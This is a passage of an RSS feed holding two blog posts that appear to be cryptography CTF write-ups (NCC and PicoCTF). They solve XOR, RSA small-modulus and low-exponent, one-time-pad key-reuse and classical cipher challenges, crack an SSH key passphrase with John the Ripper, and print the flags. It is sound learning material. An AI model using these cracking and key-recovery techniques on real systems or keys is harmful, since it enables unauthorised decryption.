/></figure><p>Flag3 = “E771NG_ST4R”</p><p><strong>Flag 4</strong></p><p>Flag 4 is encoded into a programming language called <strong>brainf**k</strong>. You can read more about it <a href="https://en.wikipedia.org/wiki/Brainfuck">here</a>.</p><p>An online <a href="https://www.dcode.fr/brainfuck-language">decoder</a> can be used to decode the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XmkQzQsP9W9Sm5gtRagUrw.png" /></figure><p>Flag4 = “73d_2389139}”</p><p>Now concatenating all 4 decoded flags will give us the final flag.</p><p>Final-Flag: <em>NCC{cr4pt0_i5_ju57_gE771NG_ST4R73d_2389139}</em></p><h3>2. XOR it!</h3><p>The challenge contains a text file which contains an encryption scheme applied on the flag, which outputs an encrypted flag as bytes.</p><pre>key = “supersecretkey” </pre><pre>#encryption scheme <br>encrypted_flag = ‘’.join([chr(ord(flag[i]) ^ ord(key[i])) for i in range(len(flag))]) </pre><pre>#encoded flag<br>=63\x1e\nC\x17&lt;\nU\x064\x1dI\x01*AVGKWZA\x18</pre><p>The scheme explains that the characters of the flag are mapped with the characters of the key and <em>XORed</em>. The numbers are then converted into their ASCII character and concatenated to form an encrypted flag.</p><p>An XOR operation can be undone using itself. In my last post, there is an example and explanation regarding reversing XOR. Further you can read from <a href="https://stackoverflow.com/questions/14279866/what-is-inverse-function-to-xor">here</a>.</p><p>A few changes in the script will get us the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L01j7koQPXN5swOZTo7u0A.png" /></figure><p>Executing the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*yl7PCwZygBOZ018miEBzfA.png" /></figure><p>Flag: <em>NCC{x0r_x0r_x0r_1358293}</em></p><h3>3. John It</h3><p>As the name indicates, a tool called “John the ripper” will be used. Challenge contains a downloadable ssh private key file named “<em>id_rsa</em>”. The encrypted password in the file is our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxuKKWHAAbhkEWP3xXO4Kw.png" /></figure><p>A file <em>ssh2john.py</em> can be used to convert the key into a hash format john the ripper can use to crack. We can download the file from <a href="https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*HC7iKT3siM9t8mCnbq5uDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*K6xjpiL1AVsCJtpVwYQPfg.png" /></figure><p>After creating the hash file, pass it john with a wordlist to crack the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0YhsGmiK2w9rgwmI6sp4w.png" /></figure><p>Flag: <em>NCC{dolphin}</em></p><h3>4. Double RSA</h3><p>Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*IVY7K2DlzJAAYTTuD2sKJg.png" /></figure><p>As the name of the challenge hints that the flag is encrypted twice. It contains a downladable text file containing a cipher value(ct) and an encryption key(N,e).</p><pre>n = 696935465059419660377260463353260033127610781266161396597245584268481265922459928743910075784748659902782773185447607953852521135952830216187355316734096563232166135531080658717479631077633088053778767241088355411402400311095532992867209263169235738485694855932779331342446201045636331667501748619955540498970349005902784489326236280813117194029984061732340141051416374613611416772237241790885991359051696047110765064062358690486276187958657882312308947622828553108369909409491947507045200692389495276739622385463636383676141896968620503510505406688371450035268745228733803029870398669291398503539415571430752319723864951079614608056348919306559161842593503075867692359640855416138434877280307695663894842968666289906532149843359647521601945778595610610938093355469557373934995093389639306040634137118123605956096901179717299172152152932914138781208622400424527960303298451888571651095436098663550080167226160223843695402313897083910299125627878753200008201923335127473955686079420915032700271789556713843274006433477690999598753307890260593851141204697510511700133531863299982967329980169200711632678134785620560738602555965088195486507925048547703489311042831078785775717254397218772608574738890978330277054475270932622671708238279<br>e = 5<br>ct = 213745739657102689819423391121056880788162554215277374970813691167096269953824865445253978579438234311362146350632869912409016448125463836733325340229577146591497732982417702257075622515209929705904929231432282537927808250766569189024536055071024450607823063110085423514483083336199582350048010235372750314642093596734957187354697017558843857310977912411951868183589314165942933945820159386978788524820273196640320143621048361741063278756151996077411391835917149080150689158810504141859859976317705393031162832936350141076001515675761421981682737084052781313175131948233978863923862133868041055709142126263500006202482605845984984407497851590757849258891674510571767544681404137218732270388283408741649793007652886336185119404644476896897903234734916374853422189752920028145549066393526634076034017659487693379696987917452051353959574132121394975131791126729581309885477397185260812569807653011581901845244368770048075780435144595304160036191281957449270567562542885637788416661200250992591469539766946733239241401696063353894261726864145017139543167979157531149457576194293369068723910771162230869831630712999999958503210391770306637738773901</pre><p>It often happens that <em>m</em>(message) to be sent isn’t large enough than <em>n</em> after exponentiating with <em>e</em>. This makes the whole RSA encryption pointless as <em>m</em> can be retrieved easily by getting the <em>e-th</em> root of the <em>ct</em>.</p><pre>mᵉ &lt; n</pre><pre>m = ᵉ√ct</pre><p>On the other hand, if <em>m</em> after exponentiating with <em>e</em> is slightly larger than <em>n</em> can be easily broken by enumerating the integer multiple(k) of <em>n</em>, adding <em>ct</em> and then taking the <em>e-th</em> root.</p><pre>mᵉ &gt; n</pre><pre>m = ᵉ√(k*n + ct)</pre><p>This is called the <strong>Direct Root Attack</strong>.</p><p>You can read more about this attack <a href="https://crypto.stackexchange.com/questions/33561/cube-root-attack-rsa-with-low-exponent">here</a>.</p><p>Now we can simply carve a script that takes both the possibility under consideration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sKa-9HR_Wf7fVOLqzPcgDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GSaQsj1IZl8-8nj7vbGDNw.png" /></figure><p>Executing the script gives us another set of RSA keys. The description above, about encrypting twice was right.</p><p>In stage2 we get these keys:</p><pre>n:316245381923571344659331010878990918483<br>e:65537<br>ct:35837105274163689309560049035190768404</pre><p>The length of <em>n</em> is very small. That makes guessing the prime factors easy. <a href="http://factordb.com/">Factordb</a> can be a help.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AuISgV7i6P_fR3oPHgwh6w.png" /></figure><pre>p: 17458452867168260911<br>q: 18114169928441428253</pre><p>After this, we will generate the private key <em>d</em> and use it to decrypt our cipher text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*mtWlT4xgDH1DuMl1qsautA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*eVx_4IvdMP3Hoou6MxpZIA.png" /></figure><p>Flag: <em>NCC{rSa_t1m3}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=751f796773ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crypto Conspiracy | Part 1 | PicoCTF]]></title>
            <link>https://ainkun.medium.com/crypto-conspiracy-part-1-picoctf-5ed32565b5ca?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ed32565b5ca</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[jeopardy]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Wed, 20 Jul 2022 21:44:03 GMT</pubDate>
            <atom:updated>2025-04-25T06:25:54.644Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*Po9FW9XelFY2JoO1o_HSzQ.png" /></figure><p>I am starting a cryptography blog series, where I will undergo various challenges from different CTFs and learning platforms, providing write ups and resources which help me progress further and build concepts.</p><p>Part 1 will showcase PicoCTF and its first few cryptography challenges.</p><h3><strong>1. Mod 26</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*etOWLBv_vBUWQ9bOeh3MBQ.png" /></figure><p>This is a very simple challenge, where each alphabet of the flag is rotated 13 letter after itself. It’s type of a substitution cipher. You can read further <a href="https://en.wikipedia.org/wiki/ROT13">here</a>.</p><p>The same algorithm is applied for both encoding and decoding. Online tools like <a href="https://gchq.github.io/CyberChef/">cyberchef</a> have the algorithm built-in, so slapping the encoded flag and selecting rot-13 will give us the flag.</p><p>We can even write a simple python script to generate the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*swewc-aB68t9xs4JLBGStg.png" /></figure><p>Flag: <em>picoCTF{next_time_I’ll_try_2_rounds_of_rot13_wqWOSBKW}</em></p><h3>2. <strong>Mind your Ps and Qs</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*VVPC10hJfSDpATDz3_3a6g.png" /></figure><p>This is a RSA challenge, where a text file is provided with the three integer values. <em>e</em> is the public encryption exponent, <em>n</em> is the product of two prime numbers; <em>p</em> and <em>q</em> (n=p*q),which are kept secret, and are ideally very large. <em>c</em> is the encrypted ciphertext.</p><pre>Decrypt my super sick RSA: c: 964354128913912393938480857590969826308054462950561875638492039363373779803642185 n: 1584586296183412107468474423529992275940096154074798537916936609523894209759157543 e: 65537</pre><p>The public key consists of modulus <em>n</em> and the public encryption exponent <em>e</em>. (e,n)</p><p>In this challenge, the modulus <em>n</em> is very small. The two prime factors can be easily guessed using <a href="http://factordb.com/">factordb</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Wu8mNOR1wIsAs-uHcuKEg.png" /></figure><p>The values are as follows:</p><pre>p: 2434792384523484381583634042478415057961  <br>q: 650809615742055581459820253356987396346063</pre><p>Once we have the values of p and q, which can be used to calculate the value of <em>d</em>. It is called the private key exponent used to decrypt the cipher text.</p><p>The private key consists of modulus <em>n</em> and the public encryption exponent <em>d</em>. (d,n)</p><p>I won’t cover the math operations, you can get the overview of it from <a href="https://www.educative.io/answers/what-is-the-rsa-algorithm">here</a> and <a href="https://www.di-mgt.com.au/rsa_alg.html#note3">here</a>.</p><p>Every character of the plain text is first encoded into hexadecimal, then converted into decimal format. The decimal number is then encrypted using the RSA algorithm.</p><p>We can write an algorithm to decrypt and then decode the text into plain text, which is our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wcpRODBdIVNO0e5ZqnphZw.png" /></figure><p><em>m</em> is the decrypted number which is then converted into the plain text.</p><p>Running the script gives out our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HTJpHtvTObnQiz8IXEZYiA.png" /></figure><p>Flag: <em>picoCTF{sma11_N_n0_g0od_73918962}</em></p><h3>3. <strong>Easy Peasy</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*MhjsBs9gV31WDpDg0qV2Lg.png" /></figure><p>The challenge provides a file <em>*otp.py*</em>, running on the remote server. The DOAMIN and PORT of the server can be used to connect and communicate with the program.</p><p>Lets analyse the given code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*qbCcdnPETFgHuDcQlG6inw.png" /></figure><p>The first few lines assign the file name to the variable to use later in the program for reading its contents. The length of the contents inside the KEY_FILE file is 50000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ixaHZZ0KGAte7NCROJTLLg.png" /></figure><p>The program starts by calling the <em>startup()</em> function passing <em>0</em> as its parameter. The function first reads the content of both the flag and key file.</p><p>The length of the flag is calculated, which is then used to extract the key of the same length from the KEY_FILE. There is a variable <em>key_location</em> which stores the last position till the key content is used.</p><p>XOR operation is applied between the both flag and key. The values are mapped and the operation is applied using the <em>map()</em> built-in function. The calculated value is in hex. {:x} is a Hex format, lower case format type. Read more about format types <a href="https://www.w3schools.com/python/ref_string_format.asp">here</a>.</p><p>The encrypted flag is printed out, and returns the key_location value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*Nn-i9BWpRB0Oa-xa_bah_g.png" /></figure><p>Next, a while loop, with the condition True, if <em>c</em>(key_location) is greater or equal to 0. Under, it calls the function <em>encrypt()</em> passing the <em>c</em> parameter.</p><p>The function then asks for the input to encrypt. It then repeats what the last function does. XOR operation between the input value and the key extracted from the KEY_FILE after the key_location(c). The length is the same as the input length. Value of key_location is updated and returned as <em>c</em>. The encrypted text prints out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCSUchzfOm932xK88RwNew.png" /></figure><p>Connecting to the server gave us the encrypted flag.</p><pre>encrypted_flag = 0x0345376e1e5406691d5c076c4050046e4000036a1a005c6b1904531d3941055d</pre><p>The length of the encrypted flag is 64, which means the plain flag length is 32.</p><p>The value of the key_location after the flag supplied is 32, so 49968 more bytes till the starting contents can be used.</p><pre>python3 -c &quot;print(&#39;A&#39;*49968);print(&#39;A&#39;*32)&quot; | nc mercury.picoctf.net 41934</pre><p>We get past all unnecessary key bytes and get the encrypted A’s, which are XOR’d by the same key value which encrypted our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9fSHQEuipHGCbUUXb7xFBg.png" /></figure><pre>encrypted_As = 2366101d3922231d3979201d3923751d3971751d3927791d3971713a1d392525</pre><p>Now we can use the inverse XOR method to calculate our key, which can help decrypt the flag.</p><p>XOR is used to inverse the XOR. If you have a problem like this:</p><pre>a = b XOR c; where c and a is known</pre><p>One can use the XOR operation between a and c to get b.</p><pre>b = a XOR c</pre><p>The same is the case here. We know plain_As and encrypted_As, which can help us to figure out the key.</p><pre>encrypted_As = key XOR plain_As<br>key = encrypted_As XOR plain_As</pre><p>Once we have the key, we can use it to XOR the encrypted_flag to find the plain_flag.</p><pre>plain_flag = key XOR encrypted_flag</pre><p>You can read more about it <a href="https://stackoverflow.com/questions/14279866/what-is-inverse-function-to-xor">here</a>.</p><p>Python script to automate it all:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJpH_XBYm3waRmAFWg0uKQ.png" /></figure><p>Flag: <em>picoCTF{abf2f7d5edf082028076bfd7a4cfe9a9}</em></p><h3>4. The Numbers</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*OUKA9rG68-P64blYiQtcPA.png" /></figure><p>The challenge contains a downloadable image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*7LBBPSxR2usE145l1KpOlA.png" /></figure><p>The images shows the numbers aligned together in a flag format. It is substitution cipher bases on letter number, where A=1, B=2,….Z=26.</p><pre>16 9 3 15 3 20 6 == PICOCTF<br>20 8 5 14 21 13 2 5 18 19 13 1 19 15 14 == THENUMBERSMASON</pre><p>Script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*9qovewbkFJ2BTpwqzIn3qw.png" /></figure><p>Flag: <em>picoctf{thenumbersmason}</em></p><h3>5. New Caesar</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*dCJFdT8wF6I1f995SsV-_w.png" /></figure><p>The challenge provides a file <em>*new_ceasar.py*</em> and the encrypted flag.</p><pre>encrypted_flag = ihjghbjgjhfbhbfcfjflfjiifdfgffihfeigidfligigffihfjfhfhfhigfjfffjfeihihfdieieih</pre><p>Lets analyse the given code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*pqarQqjjMDf6qdBD0NbN9g.png" /></figure><p>The above code confirms that the length of the key is 1, and the value is the character from the first 16 characters of the alphabets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*DZ2amQKwKUnpHeKr8r-vYA.png" /></figure><p>The function <em>b16_encode()</em> is called with <em>flag</em> as the parameter. It converts each character into ascii decimal value, then encode it to 8 bit binary format.</p><p>The binary is divided into two, both octets gets decoded into integer separately. The integer value is used as the index of the ALPHABET. All the characters are concatenated together and returned as the encoded string.</p><p>A script to reverse the above function can be created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*Y94c57NOTBHsB85-AuBwuQ.png" /></figure><p>Lets get further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*2xtlvXk_zVRC0aAnab54cw.png" /></figure><p><em>enumerate()</em> method adds a counter to an iterable and returns it in a form of enumerating object. Read more about it <a href="https://www.geeksforgeeks.org/enumerate-in-python/">here</a>.</p><p>The second parameter of the <em>shift()</em> function is always that character key.</p><p>The <em>shift()</em> function basically just rotates the character in <em>c</em>. The number of rotation depends on the index number of the key character in the ALPHABET list.</p><p>To undo the shift, we can rotate the cipher character the same way, but in negative direction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*t82usebSbLq-dnH1GcA94w.png" /></figure><p>Writing a script with both of the functions will get us the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gv0HfZ6hYWIZD5PB4XI7xg.png" /></figure><p>Brute forcing the flag with all possible 16 key possibilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-8agAnmyvNfdxia5-QXaA.png" /></figure><p>Flag: <em>picoCTF{et_tu?_0797f143e2da9dd3e7555d7372ee1bbe}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ed32565b5ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>